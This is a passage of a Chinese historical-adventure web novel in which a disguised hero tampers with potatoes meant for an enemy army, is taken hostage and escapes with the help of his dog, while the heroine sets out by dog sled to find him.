映入视野的是一间宽大的房间,原是县衙后院的正房,为安全计,窗子补砌起来,留了两拳头宽的气孔,上面还镶嵌了铁网,除了正门,保证一只苍蝇都飞不进去。 里头一袋袋的土豆,整齐的码放在一起,是全城的口粮。在角落里孤零零放了九只袋子,那是经过加工的土豆,郭守云熟练的又提过一袋子土豆,墙角的小木箱中把粉末搅和在水中,掏出一只形如注射器的竹筒,给一只只土豆打针。 打针的时候很小心,都是从土豆眼里打进去,打完后几乎看不出印记。 这些加了料的土豆都是为金人准备的,给城里的百姓发土豆,外面游击时故意遗落的土豆,目的是为了让金人接受土豆这种食物,他们弄到的食物就是土豆。 金人缺粮,肯定会来抢的,到时候顺水推舟送给他们。 加工完这袋子土豆,郭守云甩了甩发酸的手臂,满意巡视着这些不一样的弹-药,把其中疤痕明显的挑出来,在锄头刀口上削一下,造成是被锄头挖到的痕迹。 看着没有什么遗漏了,他捏着发酸的手臂出门,和看守的副将闲话了两句,领着棉花回到前院,吩咐厨房送些热水来,打算弄点热毛巾舒缓一下劳累过度的手腕。 正要开门,棉花汪汪几声,拖住他的衣裙下摆,漂亮的紫色马尾裙立马被扯了洞…他一直作女装打扮。 他不惊反喜,安抚的拍了拍棉花的脑袋,棉花说他房间里有臭味。 郭守云挑挑眉,哟,今晚边城里这么大动静,原来是为了他啊。 得,真是瞌睡送枕头,这两日他费尽心机琢磨法子,想把这批土豆送到金人的手中,机会这就来了。 他掏出虎符在棉花鼻尖晃了一下,脚尖轻轻点了点棉花的腿,棉花呼噜了一声,扭头跑了。 郭守云好似什么都没发现,捏着嗓子骂道:“烦死了烦死了,又是吃土豆,快把老娘我吃死了!”然后一脚踹开木门,气鼓鼓走进去。 躲在门后的正是王大和陈二,两人被猛地炸开的门拍到了鼻子,天老爷,鼻梁骨几乎要被拍断了!酸得眼泪一下子掉了下来。两人暗骂这姑奶奶脾气很火爆啊。 含着满筐的眼泪,王大伸出颤巍巍的捏着匕首的手臂:“打劫,不许动,不准喊!”陈二配合着把门关了起来。 郭守云转身,瞟一眼他们无力的步伐,眼底闪过一丝不屑,金人是看不起谁,弄两个酒囊饭袋来对付他。配合着做出怕怕的模样,尖叫了一半赶忙捂着自己的嘴巴。抖着嗓子问: “你们是谁?为何在我的屋子里,我,我只是一个小丫头,什么都不知道,不要来抓我!” 陈二嘿嘿笑了一声:“别装了,我们打听清楚了,你就是刘青青,青华园的少东家,是也不是?” 郭守云眨眨眼,头摇得拨浪鼓一般:“不是的,我真的不是!” 恰好外面厨房小厮送来热水:“东家姑娘,在么,热水烧好了,我给你拎进来?” 王大陈二紧张的对视一眼,捏着匕首往他跟前送了送,压低声音喝道:“你还说你不是,快把他打发走!” 郭守云:我真不是! 他怕怕的缩了缩身子,配合着高声喊道:“不用,你放门口就行!” 陈二躲在门缝里,等提水 的小厮走了,连忙把水桶提进来。 郭守云颤着声:“两位大哥,我已经按你们吩咐的办了,可以放了我了吗?”他努力挤出两滴泪,哭丧着脸:“我就是一普通小丫头,我真的什么都不知道,我,我,攒了许多月钱,有,有五十两呢,就在枕头下边,我都给你们,我求求你们,你们放了我,好不好?” 王大匕首在他脸颊上拍了拍:“啧,挺机灵的啊,东家姑娘,五十两银子就想打发我们,想得美!告诉你,金人大王子看上你了,要娶你做王妃呢,我们这是来专门接你的,老老实实跟我们走,以后富贵了,可莫要忘了提携提携我们哥两哈!” 多水灵的一小娘子啊,可惜上面交代客气些,否则,他们两先嘿嘿。 郭守云眼底闪过一丝杀意,原来是觊觎他家青青的癞蛤蟆,该死。 “两位哥哥,我真不是什么刘青青,我只是负责伺候将军的小丫头,我也不认识什么金人大王子,你们放了我好不好好?你们不要银子,我有粮食,我给你们土豆,好不?” 陈二跳到塌边,翻箱倒柜已经淘出五个十两的银锭子,塞到自己怀里,啧,还没见过这么多银子呢,喜笑颜开:“哥,我们发了!” 还没领赏呢,已经发了笔小财,面前这一位可是财神爷,他寻来一条腰带绑了他的手在后背,客气了些:“谢东家姑娘的赏!” 金人那边也缺粮,除了能把人绑了去,要是能弄去一批粮食,得到的赏赐定更多,王大眼珠子一转,对着郭守云说:“姑娘既然能弄来土豆,我们求之不得!”哄着她道:“你只要帮我们弄来五十袋土豆,我们保证放了你!” 郭守云冷笑:“五十袋,你们现在就杀了我吧!” 王大被他一噎,知道有些狮子大开口了,普通百姓做一日工也才换到一个土豆。 商量道:“那二十袋!” 郭守云敷衍:“我就一小丫头,只能换一袋!” 有些时候,你越说自己不是,别人越不相信你。 王大陈二越发坚定:“你不是小丫头,你是财神爷,小丫头换不来一袋土豆。”这人张嘴就一袋子土豆,还不愿承认自己是刘青青,多明显的漏洞啊。 郭守云在他们心中就是那种有钱人家不知人间疾苦的傻千金,有点子小聪明,但不多。 郭守云作最后的挣扎:“就一袋,多了你们也带不走不是?你们要愿意,我这就带着你们去粮库里取!” 她还能进出粮库重地,她不是谁是! 王大和陈二对视一眼,底裤都被抖落出来:“二十袋,我们还有兄弟在外面接应,你要弄不来,现在我们就弄死你!” 郭守云显然不信,捏着嗓子:“你吓唬谁呢,边城全城戒备,你们有兄弟也跑不脱!” 陈二豪气卖弄:“我们自有密道,他们早就从我家出去城外等着哩,金人大军已经在外面接应我们,再来一百袋都能弄走!” 郭守云挑挑眉,还有密道,应该是这这个矬男人家。 二十人,边城里的细作差不多倾巢出动了哟,不晓得这些细作的头目是何方神圣,他倒要跟着去看一看。 郭守云套不出更多信息,懒得跟他们继续啰嗦,没好气坐在凳子上:“一袋子,爱要不要,不愿意,你们现在就杀了我,来呀来呀!” 说完还把自己的脖颈往王大刀口上凑了凑! 王大吓得手抖了一下,忙把匕首往后缩:“姑奶奶,我们同意就是,走吧走吧!” 上头主要是要人,这是他们下半辈子的依靠,可千万别再他手里出了差错。 两人在后面推在她,示意一起去粮库取粮。 才走到院子中,便遇到匆匆跑回的郭荣,他瞟一眼郭守云后面的两人,立马喝道:“大胆王大陈二,竟敢杀人放火,还跑到这里撒野放肆,还不束手就擒!” 说完手一挥,后面的士兵划拉亮出刀刃,将人团团围住。 郭守云怕他坏了事,连忙娇滴滴大喊:“郭副将救我,郭副将救我!” 郭荣打了个冷噤,不晓得郭守云又打什么坏主意,见他穿着女装,配合道:“东家姑娘莫怕,我这就来救你!” 王大陈二就一小地痞,哪见过这阵仗,吓得两腿直哆嗦,听到郭守云的提醒,想起自己手里还有人质,匕首放到郭守云脖颈间,划出一道血珠子:“别过来,你们再过来,我就杀了他,我们,我们只是来弄点粮食,只要你们给我们准备好二十袋土豆,我们就把她放了!” 对着杀气炳然的郭荣,他底气不足,壮着胆子大喊。 郭荣看了眼郭守云的嘴唇,冷笑道:“二十袋,我们边城百姓饿死算了,你想屁吃,最多十袋,放了我们东家姑娘,不然我们同归于尽!” “东家姑娘,不是不愿意给二十袋,是整个粮库里只有这么多,要全给了,百姓们得全饿死,您放心,要是您牺牲了,我把他们当场剁成肉酱,再自刎谢罪下来护送您上路!您放心,我们边城百姓世代给您供奉香火!” 郭守云丢给他一个赞赏的眼神,好老小子,挺能演的。 郭荣得了肯定,越发卖力,示意大家伙做出准备。 王大陈二惊喜对视一眼,连忙答应:“行行行,就十袋!” 郭荣冷哼:“你们最好说话算话,不然,哼哼!” 着人看着他们,领着十个兵士去搬粮。 不一会,郭荣带着人回来,每个兵士肩上扛着一袋子土豆,郭守云瞟了一眼,正是他加了料的土豆,悄悄的朝郭荣点了点头。 王大陈二挟持着人,领着他们从南城门出了城,外面是等候已久的老熟人,佟新灶。 坐在轮椅中的他看着王大陈二挟持着的紫衣女子,后面还跟着一溜扛着鼓鼓囊囊麻袋的兵士,他畅怀大笑:“好好,好得很。王大陈二,回去了大王子重重有赏!刘青青,怎么样,还是我棋高一着吧?” 第189章 第189章人质 王大陈二松了口气,推搡着郭守云到佟兴灶面前,谄媚笑道:“多靠大人提拔!” 郭守云透过散开的发髻,细细打量面前之人。只觉得眼前之人声音有些耳熟,却不晓得在哪里见过,小心试探:“这位大人,我们近日无冤,远日无仇,你一个大人物,何苦和我一个小老百姓过不去,请把我放了吧?” 无冤无仇? 佟新灶双目变得通红。 十年了,十年来他费尽心机,受尽磨难往上爬,就是为了有一日找她报仇,结果,对方根本没把你放在心上。 被忽视的愤怒几乎把他撑炸。 他一把扯掉遮盖他大半个脸的络腮胡,咬牙切齿:“刘青青,你好好看看我是谁?” “我与慧娘两情相悦,你用你姐巴结权贵,设计分离我们,还害我受了天大的刑法,让我变成这副人不人鬼不鬼的样子! “因为你,我被雪埋了,好不容易捡回条命却冻坏了脚,以后只能坐在马背上,你把这叫做无冤无仇,你的良心被狗吃了!” 他大口大口的喘着粗气,咆哮发泄着满身的怨气。 忽然,他又笑了起来:“哈哈,皇天不负有心人,没关系,你现在落在了我的手里,以后,我会帮你打理青华园,你好好为我们大王子开枝散叶就是!” 对于刘青青这种满眼都是功名权势之人,把她一手创办的青华园夺走,将她关在后院生孩子才是最诛心的,会让她生不如死。 他已经在盘算叫人给她打一副脚镣。 想起来了,原来是赵兴冬那个软蛋。 郭守云轻蔑讥笑,轻飘飘吐出最打击人的话语:“原来是你,你还是和当年一样,没用的蠢货!” 他轻轻他抬起头,甩开遮住脸颊的头发,淡漠的看着眼前的人:“你高兴得太早了,我不是刘青青,看清楚了,我是谁?” 佟新灶的笑声戛然而止,双眼紧紧盯着他的脸,唇红齿白身材高挑的一绝世美人 ,但肯定不是刘青青。 这人,化成灰他都认识。 是刘青青身边为虎作伥的白眼狼郭守云,当年还是他亲自把人送到刘家的。 他哇的吐了一口血,人无语至极真的会笑。 佟兴灶像泄了气的皮球,一下子没了骨头,死气沉沉甩出鞭子,抽在王大陈二身上:“你两个蠢货,是男是女都分不清,这是刘青青身边的头号狗腿郭守云,不是刘青青!” 完了,一切都完了,为了捉住刘青青,带出来的三十名武士全军覆没,边城里的钉子也被他全部用掉,自己也成了瘫痪,付出如此大的代价,结果呢,弄来一个没用的男人。 大王子亲自来迎接,最多半刻钟就到,他现在跑,还来得及么?他淡漠的下令:“这两人绑了,等大王子来处置!” 王大陈二捂着破相的脸,干嚎解释:“大人,不关我们的事啊,是你说她是县衙里唯一一个女娘,穿着紫衣的啊,我们完全按照您的吩咐办……!” 还未说完,王大的嘴上又挨了一鞭子,牙齿都扇掉三个。 已经攀上马背的佟新灶居高临下看着他们:“你识人不清,坏了王子的大计,你就等着吧!来人,把他们舌头割下来!” 身后其他探子们也知道需要找个顶锅的,一窝蜂上前,掰嘴的,扯舌头的,干脆利落动手。王大一声惨叫舌头已经落在地上,挣扎的陈二看清楚了形势,连忙大喊:“大人,大人,他不是刘青青,但也很重要,不然郭荣不会拿一半的粮食来交换的,你再审审,说不定,他,他是什么重要人质呢!” “我们弄来了边城一半的粮啊,十个土豆就有女人愿意和你生娃,这么多袋子土豆,王子要多少女人都可以的啊!” 为了活命,陈二一辈子的心眼都激发了起来,开始胡编乱赵造。 “大人,大人,我知道了,他叫郭守云,那边带队的是边城副将郭荣,他们一样姓郭,这小白脸许是郭荣的亲儿子,不然,他怎么愿意用半粮仓的粮食来换人呢?” 为了加大可信度,他信誓旦旦:“边城都在说郭副将找到儿子了,多少寡妇寻死觅活呢!” “您看看,他们还在那边等您的决定的!” 佟新灶掀了掀眼皮,瞟一眼远处的郭荣,他面无表情的站在那边,身后是十袋鼓鼓囊囊的麻袋。 心下一动,都姓郭啊。 为了平息大王子的怒火,这小子必须比刘青青更有价值,他必须是郭荣的私生子,不行,郭荣才是个副将,身份不够,这小子必须是郭志城的儿子。 摆了摆手,围着陈二的探子们松了口气,丢开他又站到佟新灶后面。 他瞅着郭守云,兀的笑起来:“差点中了你的计,老天不负我啊。虽说绑的不是刘青青,但你比刘青青更有用啊!” “啧啧,撒网没抓到鱼,却逮到条小龙,功劳更大呢!” “是不是啊,郭小将军?” 郭守云:“我看你是被雪埋昏了头,你我一同长大,我什么身份你不晓得么,不认识你说的什么郭将军!” 佟新灶紧紧盯着对面的郭荣,呵呵笑道:“打断郭守云一条腿,免得他跑了!” 突如其来的指令,他身后的探子愣了一下,两人按着郭守云,另一人一刀背砍在他小腿骨上,大家能清晰的听到骨头断裂的喀拉声。 郭守云闷哼一声,倒在了地上。 对面郭荣跳了起来大喝:“放肆!敢伤害人质,还想不想要土豆了!” 佟新灶:“你们先把土豆送到中间。” 郭荣点点头,几个人扛着麻袋丢到中间,折回。 “行了,按照你们说的办了,快放人!” 佟新灶冷冷涨价:“这么点不够,还要十袋!” 郭荣大骂:“男人一口唾沫一口钉,你还算是个男人不?他就一个来边城送货的商人,十袋土豆已经顶天了,爱要不要!” 转身点了几个大汉:“你们去,搬回来!” 还大声对郭守云吆喝:“你放心,但凡你不在了,我们一定给你报仇雪恨!” 佟兴灶眯着眼:“送货的商人当然只值十袋土豆,但他还是你们郭将军失散多年的亲儿子,值多少啊?” 郭荣面色一僵,然后又若无其事:“放你娘的屁,我们将军儿子在上京读书呢!你到底放不放人,不放我们走了。”作势要搬走麻袋。 佟兴灶没错过郭荣一瞬间的僵硬,笑了,一鞭子甩在郭守云断腿上,郭守云闷哼一声,疼得弯成了大虾。 郭荣拳头捏得咯吱作响,他暴喝:“行了,不要折磨他了,他就一普通向往和平的百姓,一腔热情来送吃的,我们边城吃了,你们金人百姓也要吃。后面还要靠他送粮,你把他弄死,我们大家都得饿肚子。我愿意换他当你们的人质,我堂堂边城副将,换他,可以了么?” 失策啊,一开始就应该他来当饵的。 郭荣身边的百户们急了,纷纷压低声音劝阻:“别傻了,金人说的话不可信,我们知道那是你亲儿子,放心,我们一起想办法将他救出来,莫把自己搭进去!” 郭荣愕然了一下,苦笑:“什么我儿子,他是将军寻找多年的亲子,将军对得起朝廷,对得起百姓,对得起我们每一人,唯一对不起的便是夫人和孩子,夫人已经不在,那边是他唯一的血脉!” “将军还没回来,不晓得这个好消息,要是我有个万一,你们替我向将军道喜。” 现在他是主事人,不能让将军再次失去亲子。 他丢了兵器,上前几步,双手上举:“来吧,我和他换!” 佟兴灶视线在走到中间的郭荣,和面前地上的郭志城身上转了几转,吐出最恶毒的话语:“不折磨他也行,你来,你自刎,我便放了他!” 鞭子卷起一把匕首丢到他脚边。 “不可!” “副将莫中贼人奸计!” “这些寇贼出尔反尔,阿荣莫要糊涂” …… 郭荣笑了,人生不如意十之八九。 他从小被郭志城收养,受到的教导比京城的大公子还多,与将军情同父子,自是知晓夫人出走小公子走失是将军一辈子的心病,现在找到了,却面临这样两难的境地,他怨自己,为何不阻止郭守云,自己来当钓鱼的饵料。 唯有赌上自己的命,许可救下小公子。 他从怀里掏出帕子闻了闻,可惜了,豆儿,终是不能赴共同洗脚之约。他高高举起匕首,顺势朝自己的心脏插去。 千斤一发之际,一支弓箭破空而来,砰一声,打下了他的匕首。 大地传来咚咚闷响,远处,郭志城携千军万马奔来,几个百户连忙将郭荣架了回去。 另一个方向,金人大王子倾巢出动,两方遥遥相立。 佟新灶带上人拖着麻袋绑着郭守云屁颠颠跑到大王子身后,看到佟新灶狼狈样,卡西冷冷哼了一声,领着队伍风驰电掣而去。 郭荣奔到郭志城面前跪下:“将军,那是小公子,我,我们快追!” 郭志城愣了一下,巨大的惊喜化作担忧,造化弄人,满腔酸楚唯有一声叹息:“马革裹尸,那也是他的命!” 第190章 第190章逃跑 “舛、舛、舛……”无数丑陋的丧尸流着恶心的黏液靠近她,一会又变成佟新灶的脸狰狞的举着匕首,你一嘴他一嘴将她分食。 午夜三更,幽静的小山村一隅,刘青青被噩梦惊醒,她拍着砰砰砰跳个不停地心脏,起床倒了一杯热水喝下。 被惊吓流出的冷汗打湿了内裳,冷冰冰黏腻腻糊在身上,难受极了。 外间的炉子里一直温着热水,刘青青干脆简单的擦洗了一下。 收拾清爽的刘青青又钻回被子里,怎么也睡不着了,她感觉,黑暗中,好似有什么在靠近,心烦意乱之下,她捡起盒子中十支蜡烛,全部点燃。 橙黄的烛光将屋子照亮,驱散了黑暗,却没驱散遮盖在头顶的阴霾,那种不好的感觉越发扰得人心神不宁。 刘青青呼 一声吹口气,掀开被子收拾利落,既然睡不着,干脆起身,把不安定的因素一个个排除。 走到桌案便,她捡起笔一项一项的分析。 南边的青华园爹爹姐姐在照料,有温舅舅暗中照顾,一直很平稳的发展。 昨日管事来报,铁路一直畅通无阻,各地筹集的物资有条不紊的输送过来,也没有问题。刘青青的笔顺着地勘到了山谷官道,重重打了个圈。 山谷发生了雪崩,官道再次受阻,边城失去联络,不晓得发生了什么变故。她吸了口冷气,是了,她噩梦的原因就是边城,难道边城岌岌可危? 她要亲自去关外看一看。 & 边城县衙里,十位副将齐聚一堂,郭志城坐在上首,面上无悲无喜,那是见惯了生死后的麻木。 郭荣懊悔掺杂着悲痛,解释事情的起因结果:“金人发动埋在边城的所有钉子,放火烧了土地庙,引得我们东奔西走,然后混入了县衙。 我在城墙巡逻时,被小公子养的棉花狼狗寻回,到县衙时他已经被奸细王大陈二挟持,明明我可以当场击杀王大陈二,收到了小公子的眼色,他让我配合着他,引着奸细提出粮食换人质的要求。” “这段日子,小公子日日在粮库忙活,我们送去的这十麻袋土豆便是他单独放在一边的,我取出来的时候,他不动声色的点了点头!” 郭荣抹了一把脸:“也就是说,其实他可以走脱,但为了哄着金人顺理成章的取得粮食,他才自愿被俘!” “所以,那十袋土豆,他做了手脚的!” 他努力平静着声音分析:“不管他什么身份,他对我们有恩又有功,凭着白身,破除万难将粮食送到边城,已经是我们全城的救命恩人,现在,他又为了取信敌人,深陷囹圄,还被金人虐待,当着我们的面,断了一条腿,我们势必尽快要把人救回来的。再晚些,不晓得他还要受什么折磨。” “而且,他不是别人,他是将军走失在外的亲子,唯一的亲子!” 当年上京将军府闹得动静挺大,大家都有耳闻,不动声色看了上首沉静的郭志城一眼。 另一副将小心措辞:“你如何发现他是小公子的,我意思是,这事实在太巧了,这么隐蔽的事情,金人如何知晓的?”意思是会不会是金人设计陷害。 郭荣看了他一眼:“你们思虑的对,我也是多方进行了求证的。郭守云背上有刻字,是小篆,和夫人留给将军的最后一封书信里的字体一模一样,况且,我试探过,他背上的字打小就有,你们说,金人设计,能从十五六年前就计划了么? 至于金人为何知晓,我也想不明白,许是他们安排的奸细查出来的。” “郭家一门忠烈,将军一生为国,将军的儿子,即便流落在外,也为了百姓安宁鞠躬尽瘁,那是骨子里的忠贞爱国。” 上首的郭志城虎目流出两行清泪,从怀里掏出一封发黄的手绢,手绢已经摩挲得起了毛边,颜色发黄,失去了光泽,上面几个绢美小篆抖落在大家眼前:“城哥,事已至此,吾不愿你左右为难,暂避一二,守得云开见明月,你我夫妻再重圆!” 他声音有些哽咽:“当年夫人和老夫人有些龌龊,我左右调停,将军府仍旧不时闹出笑话,夫人有了孩子,和我说要去南边养胎,我忙于公务,着人护送,哪知这一别,便是生死两茫茫,不复相见!” 郭志城脱掉头上的将军头盔:“于公,他解了我们饥饿之苦。于私,他是我儿子,是夫人给我留下的唯一骨血,我要把他带回来。” “今日喊你们过来,是交代你们,我自解将军之职,以父亲的身份,自己的身份,深入金人王帐,去救人,所以,这边城,靠你们共同协理守护。” “三日为限,若我能回来,这事你们就当没有发生过,若我三天后还没回来,你们就上报朝廷,就报,我生病暴毙,请朝廷另派主将前来!” 副将们原以为,将军请他们过来,要说服他们全军出击,腹内还琢磨着如何劝解。赵人借城墙之功,堪堪抵挡金人攻击,要是不管不顾冲出去,大概率是惨败。 人都站在自己的位置考虑问题,他们很感激郭守云对边城的帮助,可是,理智告诉他们,不能因为他一人,便万事不顾,他们身后有无数的边城百姓,还有他们的父母妻儿,亲朋故旧。 不是他们不感恩,做事得讲个得失,因为一人,置万人不顾,帐没法这么算,即便他们自己被俘虏了,他们也是一样的做法。 哪知道郭志城要独身去营救,此举无异于羊入虎口,大家伙面面相觑,嘴角嗫嚅了半响,不晓得该如何开口劝阻。 试问,要是你唯一的孩子被抓走了,你能不着急么,不奔走相救么。 你不领人上前帮忙不说,还以职责为重阻挡人家,道德绑架不是这么绑的。 副将中郭荣等六人是郭志城一手带大的,也摘掉花羽头盔上前:“将军,我们与你同去!” 令外没吭声的四人是朝廷安插来此处的,平时循规蹈矩不出头,做事牢靠负责,郭志城想着即便这几人和他不是一条心,只要有能力不犯错,他也能容下,朝廷放心,他也舒心,大家安稳度日。 郭志城摇了摇头:“不用,只郭荣跟着我就行,你们八人各司其职,牢牢守着边城,莫让金人钻了空子。” 计策已定,郭志成带着郭荣换衣乔装一番,趁着夜色悄悄出了城,往金人后方摸去。 金人营地里,佟新灶咬着笔杆子,缩在帐篷里斟字酌句打腹稿,等着大王子对这次行动的询问,死了那么多武士,问责肯定少不了,他在想着把锅合理甩掉些,把功劳夸大些,暂时没功夫搭理带回来的郭守云,看着把人锁起来就走了。 同个时候,郭守云睁开了眼。 他是疼醒的。 他腿断了后,金人把他往马背上随便一扔,到了金人聚集地,收走身上的利器,铁锁锁着脖子关到了羊圈。 金人对俘虏都这样,铁链一锁丢在牲口棚里,冰天雪地,幸好羊儿们偎依着他,给他带来体温,不然,非得冻死。 他爬到羊圈边,徒手把羊圈上的木头掰下来一块,撕了衣摆塞到嘴里,咬着牙忍着疼把折断的腿骨掰正,惨白着脸大口大口喘着粗气,等疼得不那么厉害了,把木条绑在腿上。 这样一动作,体力耗尽,郭守云逮了只下崽的母羊,身上被搜得一干二净,也没有水囊,凑上嘴开始吸吮。 生羊奶腥膻味较重,等腥味过后,独特的奶香类似甘露琼浆,细腻幼滑,温润滑下肚后,让恢复了些许力气。 他喝饱后,感激的给母羊挠了挠痒痒,吹响了口哨。 趁着金人忙碌,他要想办法趁现在脱身。 他摸了摸脖子里的铁环,该死的佟新灶,草原上铁锅都少,这孙子竟然弄了铁链拴着他。他将两个指头在嘴里搭着,轻轻吹了几声,不久,夜色里奔过一道银白色的身影,羊圈里的羊儿们不安的跳动起来,他安抚的拍了拍母羊的脑袋:“不怕,不怕,不要叫,是来帮我们的朋友!” 他的声音好似带了魔力,羊儿们果真安静下来,睁着大眼睛看着。 来的正是棉花! 它借雪地的遮掩,一直跟在金人后面,等听到了郭守云的哨声才摸进来。 郭守云指头在雪地里画了几笔,对着棉花低声嗷嗷嗷呜几声,棉花偏着脑袋,也低声嗷一声,跑走了,不多时,嘴里叼着一把锯子屁颠颠回来。 郭守云拿到锯子大喜,连夸棉花好大儿,真是好宝宝! 打开铁链项圈得用钥匙,但铁链拴在木桩上啊,他把木桩锯断,戴着炼铁跑呗! 借着风雪呼啸声音,他打发棉花放哨,有巡逻的金人来,他便抱着母羊靠在木桩上装死,等人走了,他继续拉动锯子。 终在破晓时分,成功锯断木桩,他抱着铁链,伏在棉花背上,后面还牵着母羊悄悄离开。 离开金人帐篷聚集地后,棉花嫌弃他重,把他藏在雪地里,悄悄摸回去,赶来一匹马,托着他逃跑! 为了避开前线的金人岗哨,他带着棉花往草原深处跑,完美的错开了郭志城和郭荣!【你现在阅读的是 】 190-200 第191章 第191章相遇 刘青青一刻也不能等,整理好行装,打算上路,王掌柜等人苦劝不住,唯能帮着准备更多的干粮行李,目送她架着雪橇飞快消失在山谷官道。 她双手紧紧抓稳飞驰的雪橇扶手,黑炭领路,剩余的狗狗们带着嘴笼,配合默契,奔驰在雪地中。天明时分,气温下降,又开始飞起鹅毛大雪,她目光扫过两侧颤颤巍巍的雪峰,心不住的往下沉。 这条官道是从两座山峰之间凿出一条仅容一辆马车通过的道路,夏日时还好,草长莺飞,溪水潺潺,最多碰到蛇虫野兔,冬日底部的积水冻成冰,雪橇能飞速滑行,但两侧山峰上的积雪,不知道什么时候就会滑落。 她再次对大赵的将士产生了崇崇的敬意,就是这些名不经传的人,穿过这样的险路,用自己的生命,把强盗挡在天险之外。 她也对从未相见过的金人,生起一股子怨恶,好好的日子不过,非要来抢夺别人的财产,真是坏种。 阿云一直哄着她留在关内,是担心她害怕吧。不晓得他现在在哪,在做什么,有没有遇到危险,为何,她的心一直咚咚咚跳个不停,总是有一种心慌慌的感觉! 她轻喝黑炭:“炭炭,再快些!” 黑炭摇了下尾巴表示回应,跑越的步伐更紧凑了些。 快了,她能看见前面缝隙里露出来的亮光,那是天空的颜色。 突然,黑炭呜了一声,狗狗们连忙紧急掉头往后拉,刘青青眼疾手快拉动雪橇刹车,雪橇终于停了下来。 许是积雪太重,前面倒了一颗大松树横在道中,她停歇的雪橇车和大松树仅一个拳头距离,要不是黑炭反应灵敏,已经发生了撞车事故。 若在平时,她肯定要停下来清理大松树,避免其他路过人发生危险,今日,她一直有一种紧迫感,希望快些到达变成,总有一种,迟了就会发生不好的事情的感觉。 她从车里的棉被里淘出些已经凉了软和的煮熟猪肉肉片,塞到狗狗们的嘴巴里,命狗狗们静悄悄的吃,顺便歇口气,她自己放下雪橇里的物件,一个人费了吃奶的力气,把雪橇抬过大松树,然后把准备的物件一包一包搬过大松树,重新捆扎固定在雪橇车架,这里好似才发生过一次雪崩,山峰上的积雪少了许多,即便弄出些声响也不碍事。 累出了一身汗,她爬上雪橇坐好,招呼黑炭继续出发。得了肉块的狗狗们恢复了力气,跑得快多了。 刘青青驾驭雪橇,终于来到边城下,看到南门两个大字,松了口气,看一眼紧闭的城门,她对着城楼上值守的兵士大喊:“劳烦上官放我进去,我从关内而来,来边城寻人!” 半响,从城墙垛口伸出一个沧桑的脸,细细打量她,眉眼看着是典型的赵人,再扫过她身后高高堆起落满积雪的雪橇:“小子,你车上是什么?” 刘青青为了方便,作男装打扮,连忙解释:“是我的行李,被子衣物,我哥哥是青华园雇佣的伙计,送粮来边城,还没回去,阿娘心忧哥哥受寒到,叫我送些被褥来!” 还没等他回话,旁边的垛口又伸出另一个头来,这人看着年轻些,凶恶道:“赶紧走赶紧走,谁晓得你是不是投靠了金人的奸细,又来祸害我们边城!” 说完拉弓搭箭,对准了刘青青:“十息内离开,不然我就射箭了!” 年老些的士兵听说他哥哥是送粮食的伙计,心里发软,怜惜他一人冒着风雪而来,多劝了几句:“你快些回去,城门是万万不能开的,前日边城奸细作乱,抓走了给我们送粮的青华园东家,上头大人们命令紧闭城门,不许放走一人,也不许任何人进城。” 转头按下弓箭,劝身边的军士:“他哥哥送粮来给我们,对我们有恩的,何苦吓唬他!” 刘青青听到他的话,几乎从雪橇上栽了下来,满耳朵都是,被抓了,东家被抓走了,她的阿云被金人抓走了! 城墙上年轻的军士还在争执:“左副将令我们射杀一切靠进城门的人,这些可能就是奸细,你放走了,我们如何交差?” 年老些的汉子冷哼:“右副将还命我们把靠近城门的人绑了,送去他亲自审问,你听谁的?” “行了,适才那人明显是赵人的相貌,能穿过官道冒着风雪来给哥哥送被子衣物,不是偷奸耍滑之辈,不要妄造杀孽! 再说,如果他真是奸细,行李里埋伏着贼人,你我两人打得过来么,何苦给自己找事,把人赶走就是了。” 上头两个副将两个命令,我们能怎么办?老老实实守着城门,只要不是金人进攻,我们糊弄过去就行,射杀了人也好,活捉也好,一级一级上报处理,都挺麻烦的。 他恨恨的叹口气:“哎,都怪那些可恨的奸细,一群没骨头的杂种!” 看到墙头的弓箭,黑炭嗷一声,早领着小弟们拉着雪橇飞快离开,刘青青浑浑噩噩坐在雪橇里,心脏像被挖空了,成了一副空壳子。 到了一处背风的小坡后停了下来,黑炭爬上雪橇,挤在她面前,舌头舔了舔她脸颊上的泪痕,用脑袋拱了拱她。 温热的舌头上全是口水,刘青青习惯性嫌弃的推开它,惊醒过来,擦干不知道什么时候留下的泪,重新戴好口罩,紧紧抱住大黑狼狗:“炭炭,阿云被抓走了,说明还没死,我们去救他好不好?” 黑炭:“嗷呜嗷呜……” 刘青青第一次来草原,东南西北都分不清,四周都是白茫茫的雪原,哪里找得到。 她把目光重新放到黑炭身上,解开行李,从棉被里掏出肉块投喂给狗狗们,拍拍它们的脑袋:“行,就靠你们了,只要找到救出阿云,肉块要多少有多少!” 黑炭吃完肉块,鼻尖嗅了嗅,前爪在地上淘弄了几下,挖开雪白的积雪,下面是一坨马粪。 刘青青围着看了半天,白欢喜一场,她重新驾驶雪橇,让黑炭在前面带路,踏上慢慢寻找之路。 相比刘青青像无头苍蝇一般乱转,郭志城和郭荣效率高多了,他们就着夜色骑着马直奔到金人营地两公里外,步行摸到金人的营帐中。 两人里头是暖和的棉衣,外面罩上破破烂烂的的羊皮褂子,头戴羊皮小帽,脖子围着传了好几代的围脖,和金人牧民一模一样。 金人粮食不多,有四个牲口圈,两个羊圈,一个牛圈,一个马圈,两人抱着牧草,装模作样的喂牲口,悄摸摸观察牲口棚,可惜的是,一连找了四个,都没找到郭守云的影子。 郭志城心下 一冷,难道郭守云被关押在帐篷里? 退出营地的郭志城扯下满是羊膻味的围脖,透了口气:“金人这么重视阿云,把他关在帐篷里?”他实在不敢相信。 郭荣从怀里掏出土豆泥饼,递给郭志城一个,自己也掰一块放在嘴里慢慢的抿着,天气太冷,吃的干粮都冻了起来。 他劝说郭志城:“将军,我们召来线人问一下消息吧,不用他做什么!再询问一下金人的战略部署,也不算私事公用。” 边城那边,不能离开太久,也没有其他方法了,郭志城无奈点点头。 郭荣学着狼嚎,三长两短再一长一短。 过了半响,便有一个金人武士过来巡逻。那人离得远远的,喝道:“谁在那边拉尿,冻僵叽叽还要不要?” 郭荣弱弱:“叽叽掉下来给你做烧烤?” 那人也不生气,听了回答,骑马奔到面前,四处看了一眼,小声询问道:“什么事?” 郭荣快速询问:“卡西抓来的赵人俘虏呢?他们打算什么时候攻城?” “俘虏不晓得从哪弄了锯子锯断牲口圈跑了,卡西怀疑营里有内鬼,到处抓人,我正想办法传信,三个时辰后,两个王子同时从北面东面进攻!” 他穿好裤子,大声喝道:“低贱的牧民,拉完屎快回营,小心野狼把你们叼走!”一甩马鞭跑了。 这人的娘亲是赵人,但爹是金人,长相看不出赵人的模样,郭志城作探子养大,弄进大王子卡西的营中。 